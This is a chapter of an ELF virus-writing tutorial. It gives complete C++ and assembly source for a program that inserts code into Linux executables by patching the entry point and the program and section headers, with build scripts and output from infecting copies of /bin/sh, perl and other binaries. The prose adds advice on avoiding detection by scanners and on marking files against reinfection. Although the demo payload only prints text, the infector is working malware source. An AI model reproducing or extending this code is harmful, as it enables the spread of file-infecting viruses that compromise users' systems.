The ELF Virus Writing HOWTO
Prev |  | Next

# 6. One step closer to the edge

| Don't be too proud of this technological terror you've constructed. The ability to destroy a planet is insignificant next to the power of the Force.
| Darth Vader

This chapter is about a first stage infector. A program that inserts our code into any executable we specify on the command line.

This code could easily be squeezed into a single function. But for clarity I split it into parts that manipulate a central data structure. And just for the hell of it I coded it in C++. This way I can present the pieces in random order.

Source: src/one_step_closer/target.h

    class Target
    {
    public:
      Target(const char* filename);
      ~Target();
      bool isOpen() { return fd_dst != -1; }
      bool isSuitable();
      unsigned newEntryAddr();
      bool patchEntryAddr();
      bool patchPhdr();
      bool patchShdr();
      bool copyAndInfect();
      unsigned writeInfection(); // returns number of written bytes

    private:
      enum { INFECTION_SIZE = 0x1000 };
      static const unsigned char infection[];

      int fd_dst; /* opened write-only */
      int fd_src; /* opened read-only */

      off_t filesize;
      unsigned aligned_filesize;

      /* start of memory-mapped image, b means byte */
      union { void* v; unsigned char* b; Elf32_Ehdr* ehdr; } p;

      /* offset to first program header (in file) */
      Elf32_Phdr* phdr;

      /* offset to first byte after code segment (in file) */
      unsigned end_of_cs;
      unsigned aligned_end_of_cs;

      /* start of host code (in memory) */
      unsigned original_entry;
    };

    /* align up to multiple of 16 */
    inline unsigned alignUp(unsigned n) { return (n + 15) & ~15; }

## 6.1. INFECTION_SIZE

The value of `INFECTION_SIZE` exceeds actual code size by far. But it is the only amount that works. The reason for this is buried in the ELF specification.

> […] executable and shared object files must have segment images whose file offsets and virtual addresses are congruent, modulo the page size. Virtual addresses and file offsets for the SYSTEM V architecture segments are congruent modulo 4 KB (0x1000) or larger powers of 2. Because 4 KB is the maximum page size, the files will be suitable for paging regardless of physical page size. […]

Let's take another look at the output of readelf. Above quote means that the last three digits of `Offset` must equal the last three digits of `VirtAddr`. This is the case for every program header. So unless we change `VirtAddr` as well (which means relocation of every access to a global variable), we are stuck with 0x1000.

Maximum code size is further restricted by alignment. The i386 and descendants can execute misaligned code, though with a performance penalty. `alignUp` will take at most 15 bytes.

## 6.2. Target::infection

Up to now our code is intended to be stand-alone. The obvious fix is to replace the call to exit(2) with a `jmp`. But I think it's a better idea to let our code end with an unsuspiciuos `ret` instead. And we can put the matching `push` at the start of the code to have the actual return address at a constant location. And while we are at it, saving all registers and the flags can't be bad.

The last line of assembler code is used to specify the offset to the location to patch with the original entry address. This definition is used by function writeInfection below. But it really is a property of `Target::infection`. Having it in a separate file enables independent changing of infection code.

Source: src/one_step_closer/i1/infection.asm

    		BITS 32
    start:		push	dword 0		; replace with original entry address
    		pushf
    		pusha

    		push	byte 4
    		pop	eax		; eax = 4 = write(2)
    		xor	ebx,ebx
    		inc	ebx		; ebx = 1 = stdout
    		mov	ecx,0x08048001	; ecx = magic address
    		push	byte 3
    		pop	edx		; edx = 3 = three characters
    		int	0x80

    		popa
    		popf
    		ret

    		push	byte start + 1	; dummy instruction to specify ofs

Command: src/one_step_closer/infection.sh

    #!/bin/sh
    dst=$1
    shift
    project=${dst#${OUT}/}
    project=${project%/*}

    nasm -f bin src/${project}/infection.asm \
    	-o ${TMP}/${project}/infection \
    && ndisasm -U ${TMP}/${project}/infection \
    | src/evil_magic/ndisasm.pl \
    	"-identfier=Target::infection" \
    	"-last_line_is_ofs=" \
    	"$@" > ${dst}

We reuse the filter from Dressing up binary code. The `__attribute__` clause clause is explained in A section called .text. This example works without.

Output = Source: out/redhat-linux-i386/one_step_closer/i1/infection.inc

    const unsigned char Target::infection[]
    __attribute__ (( aligned(8), section(".text") )) =
    {
      0x68,0x00,0x00,0x00,0x00,      /* 00000000: push dword 0x0       */
      0x9C,                          /* 00000005: pushf                */
      0x60,                          /* 00000006: pusha                */
      0x6A,0x04,                     /* 00000007: push byte +0x4       */
      0x58,                          /* 00000009: pop eax              */
      0x31,0xDB,                     /* 0000000A: xor ebx,ebx          */
      0x43,                          /* 0000000C: inc ebx              */
      0xB9,0x01,0x80,0x04,0x08,      /* 0000000D: mov ecx,0x8048001    */
      0x6A,0x03,                     /* 00000012: push byte +0x3       */
      0x5A,                          /* 00000014: pop edx              */
      0xCD,0x80,                     /* 00000015: int 0x80             */
      0x61,                          /* 00000017: popa                 */
      0x9D,                          /* 00000018: popf                 */
      0xC3                           /* 00000019: ret                  */
    };
    enum { ENTRY_POINT_OFS = 0x1 };

## 6.3. main

Nothing special here. Though you could object to the use of fprintf(3) instead of `cerr`. But then perror(3) is the only other type of diagnostic message you will find below.

Source: src/one_step_closer/main.inc

    int main(int argc, char** argv)
    {
      char** pp = argv;
      const char* p;
      while(0 != (p = *++pp))
      {
        fprintf(stderr, "Infecting copy of %s... ", p);
        Target target(p);
        if (target.isOpen()
    	&& target.isSuitable()
    	&& target.patchEntryAddr()
    	&& target.patchPhdr()
    	&& target.patchShdr()
    	&& target.copyAndInfect()
        )
          fprintf(stderr, "Ok\n");
      }
      return 0;
    }

## 6.4. The opening

Modifying a file in place, as opposed to writing a copy, is possible but difficult. And between first and final modification contents of the target is invalid. Imagine a worst-case scenario of a virus infecting `/bin/sh` being interrupted through a power failure (or emergency shutdown of a hectic admin).

There are a few approaches to change a file while copying.

- Use lseek(2), read(2) and write(2) to load pieces of the source into memory, patch them, and write them to destination. A lot of work. Can be really inefficient.

- Use read(2) to get the whole source file in one go. Requires more memory. But then even the largest executable files have only a few MB.

- Use mmap(2). In my humble opinion obviously the best way.

Using `MAP_PRIVATE` for argument `flags` of mmap(2) activates copy-on-write semantics. You can read and write as if you had chosen the read-in-one-go method, but the implementation is more efficient. Unmodified pages are loaded directly from the file. On low memory conditions these pages can be discarded without saving them in swap-space.

Source: src/one_step_closer/ctor.inc

    Target::Target(const char* src_filename)
    : fd_dst(-1), fd_src(-1)
    {
      const char* base = strrchr(src_filename, '/');
      std::string dst_filename((base == 0) ? src_filename : base + 1);
      dst_filename += "_infected";

      fd_src = open(src_filename, O_RDONLY);
      if (fd_src >= 0)
      {
        filesize = lseek(fd_src, 0, SEEK_END);
        if ((off_t)-1 != filesize)
        {
          aligned_filesize = alignUp(filesize);
          p.v = mmap(0, filesize, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd_src, 0);
          if (MAP_FAILED != p.v)
          {
            fd_dst = open(dst_filename.c_str(),
    	  O_WRONLY | O_CREAT | O_TRUNC, 0775);
    	if (fd_dst >= 0)
    	  return;
    	perror("open");
          }
          else
    	perror("mmap");
        }
        else
          perror("lseek");
      }
      else
        perror("open");
    }

Source: src/one_step_closer/dtor.inc

    Target::~Target()
    {
      if (p.v != 0)
        munmap(p.v, filesize);
      close(fd_src);
      close(fd_dst);
    }

## 6.5. isSuitable

A visible virus is a dead virus. Breaking things is quite the opposite of invisibility. So before you think about polymorphism and stealth mechanisms you should go sure your code does nothing unexpected.

On the other hand exhaustive checks of target files will severely increase code size. And verifying signatures and other constant values is likely to make the virus code itself a constant signature. A better approach is to compare the target with the host executable currently running the virus.

Source: src/one_step_closer/suitable.inc

    bool Target::isSuitable()
    {
      enum
      {
        CMP_SIZE_1 = offsetof(Elf32_Ehdr, e_entry),
        CMP_SIZE_2 = offsetof(Elf32_Ehdr, e_shentsize)
        - offsetof(Elf32_Ehdr, e_flags)
      };
      Elf32_Ehdr* self = (Elf32_Ehdr*)0x8048000;
      Elf32_Phdr* self_phdr = (Elf32_Phdr*)((char*)self + self->e_phoff);
      phdr = (Elf32_Phdr*)(p.b + p.ehdr->e_phoff);

      if (0 != memcmp(&p.ehdr->e_ident, &self->e_ident, CMP_SIZE_1))
        return false;
      if (p.ehdr->e_phoff != self->e_phoff)
        return false;
      if (0 != memcmp(&p.ehdr->e_flags, &self->e_flags, CMP_SIZE_2))
        return false;

      /* the type of these headers must be PT_LOAD */
      if (phdr[2].p_type != self_phdr[2].p_type)
        return false;
      if (phdr[3].p_type != self_phdr[3].p_type)
        return false;

      /* a code segment with trailing 0-bytes makes no sense, anyway */
      if (phdr[2].p_filesz != phdr[2].p_memsz)
        return false;

      end_of_cs = phdr[2].p_offset + phdr[2].p_filesz;
      aligned_end_of_cs = alignUp(end_of_cs);

      return true;
    }

## 6.6. Patch entry address

Without this function the behavior of the target is not modified. This can be used for vaccination, in the true meaning of the word: Infection with a deactivated mutation makes the target immune against less friendly attackers.

Source: src/one_step_closer/e1/patch_entry_addr.inc

    bool Target::patchEntryAddr()
    {
      original_entry = p.ehdr->e_entry;
      p.ehdr->e_entry = newEntryAddr();
      return true; /* this implementation can't fail */
    }

Source: src/one_step_closer/new_entry_addr.inc

    unsigned Target::newEntryAddr()
    {
      /* matches with aligned_end_of_cs */
      return alignUp(phdr[2].p_vaddr + phdr[2].p_filesz);
    }

## 6.7. Patching program headers

Another important issue is avoidance of multiple infections. It might take a while until increased file size gets noticed. But imagine a `/bin/sh` infected with a few dozen instances of the same virus. The runtime overhead of all these instances trying to find and infect other executables (either sequentially or in parallel forked processes) will significantly slow down every single shell script.

Obviously any presence indicator can be used by heuristic scanners. My recommendation is to use an innocent property that could also be matched by regular executables. It is not a problem if your checking routine rejects some suitable targets.

For this example I just declare a bug to be a feature. Since INFECTION_SIZE is required to be 0x1000 bytes, a duplicate infection is impossible by design.

Source: src/one_step_closer/patch_phdr.inc

    bool Target::patchPhdr()
    {
      /* distance between code and data segment (in memory) */
      size_t delta = phdr[3].p_vaddr - phdr[2].p_vaddr - phdr[2].p_memsz - 1;
      if (delta < INFECTION_SIZE)
        return false;

      phdr[2].p_filesz += INFECTION_SIZE;
      phdr[2].p_memsz += INFECTION_SIZE;

      Elf32_Phdr* entry = phdr;
      for(unsigned nr = p.ehdr->e_phnum; nr > 0; nr--, entry++)
      {
        if (entry->p_offset > end_of_cs)
          entry->p_offset += INFECTION_SIZE;
      }
      return true;
    }

## 6.8. Patching section headers

This part is not strictly required. The resulting executable works without. But readelf(1) will bitterly complain. And strip(1) will break infected executables if not every byte of code is accounted for in some section.

Source: src/one_step_closer/patch_shdr.inc

    bool Target::patchShdr()
    {
      Elf32_Shdr* shdr = (Elf32_Shdr*)(p.b + p.ehdr->e_shoff);
      for(unsigned nr = p.ehdr->e_shnum; nr > 0; nr--, shdr++)
      {
        if (shdr->sh_offset > end_of_cs)
        {
          /* move all following sections down */
          shdr->sh_offset += INFECTION_SIZE;
        }
        else if (shdr->sh_offset + shdr->sh_size == end_of_cs)
        {
          /* increase length of last section of code-segment (.rodata) */
          shdr->sh_size += INFECTION_SIZE;
        }
      }
      p.ehdr->e_shoff += INFECTION_SIZE;
      return true; /* this implementation can't fail */
    }

## 6.9. Copy & infect

Source: src/one_step_closer/copy_and_infect.inc

    bool Target::copyAndInfect()
    {
      write(fd_dst, p.b, end_of_cs); // first part of original target
      lseek(fd_dst, aligned_end_of_cs, SEEK_SET);

      unsigned code_size = writeInfection();
      fprintf(stderr, "wrote %u bytes, ", code_size);
      lseek(fd_dst, end_of_cs + INFECTION_SIZE, SEEK_SET);

      /* rest of original target */
      write(fd_dst, p.b + end_of_cs, filesize - end_of_cs);
      return true;
    }

## 6.10. writeInfection

Source: src/one_step_closer/write_infection.inc

    unsigned Target::writeInfection()
    {
      /* first byte is the opcode for "push" */
      write(fd_dst, infection, ENTRY_POINT_OFS);

      /* next four bytes is the address to "ret" to */
      write(fd_dst, &original_entry, sizeof(original_entry));

      /* rest of infective code */
      enum { REST_OFS = ENTRY_POINT_OFS + sizeof(original_entry) };
      write(fd_dst, infection + REST_OFS, sizeof(infection) - REST_OFS);

      return sizeof(infection);
    }

## 6.11. Off we go

Command: src/one_step_closer/cc.sh

    #!/bin/sh
    project=${1:-one_step_closer}
    entry_addr=${2:-e1}
    infection=${3:-i1}

    g++ -Wall -O2 -g \
    	-I src/one_step_closer/${entry_addr} \
    	-I ${OUT}/${project}/${infection} \
    	-o ${TMP}/${project}/${entry_addr}${infection}/infector \
    	src/${project}/*.cxx \
    && cd ${TMP}/${project}/${entry_addr}${infection} \
    && ./infector /bin/tcsh /usr/bin/perl /usr/bin/which /bin/sh

Output: out/redhat-linux-i386/one_step_closer/e1i1/cc

    Infecting copy of /bin/tcsh... wrote 26 bytes, Ok
    Infecting copy of /usr/bin/perl... wrote 26 bytes, Ok
    Infecting copy of /usr/bin/which... wrote 26 bytes, Ok
    Infecting copy of /bin/sh... wrote 26 bytes, Ok

A simple shell script will do as test.

Command: out/redhat-linux-i386/one_step_closer/test-e1i1.sh

    #!tmp/redhat-linux-i386/one_step_closer/e1i1/sh_infected
    echo $BASH
    echo $BASH_VERSION
    which which
    tmp/redhat-linux-i386/one_step_closer/e1i1/which_infected which
    tmp/redhat-linux-i386/one_step_closer/e1i1/tcsh_infected -fc 'echo $version'
    tmp/redhat-linux-i386/one_step_closer/e1i1/perl_infected -v | head -2
    echo
    strip	tmp/redhat-linux-i386/one_step_closer/e1i1/sh_infected \
    	-o tmp/redhat-linux-i386/one_step_closer/e1i1/strip_sh_infected \
    && tmp/redhat-linux-i386/one_step_closer/e1i1/strip_sh_infected --version

Output: out/redhat-linux-i386/one_step_closer/test-e1i1

    ELF/home/alba/virus-writing-HOWTO/tmp/redhat-linux-i386/one_step_closer/e1i1/sh_infected
    2.05.8(1)-release
    /usr/bin/which
    ELF/usr/bin/which
    ELFtcsh 6.10.00 (Astron) 2000-11-19 (i386-intel-linux) options 8b,nls,dl,al,kan,rh,color,dspm
    ELF
    This is perl, v5.6.1 built for i386-linux

    ELFGNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)
    Copyright 2000 Free Software Foundation, Inc.

The Force is strong with this one.

Prev | Home | Next
readelf |  | A closer look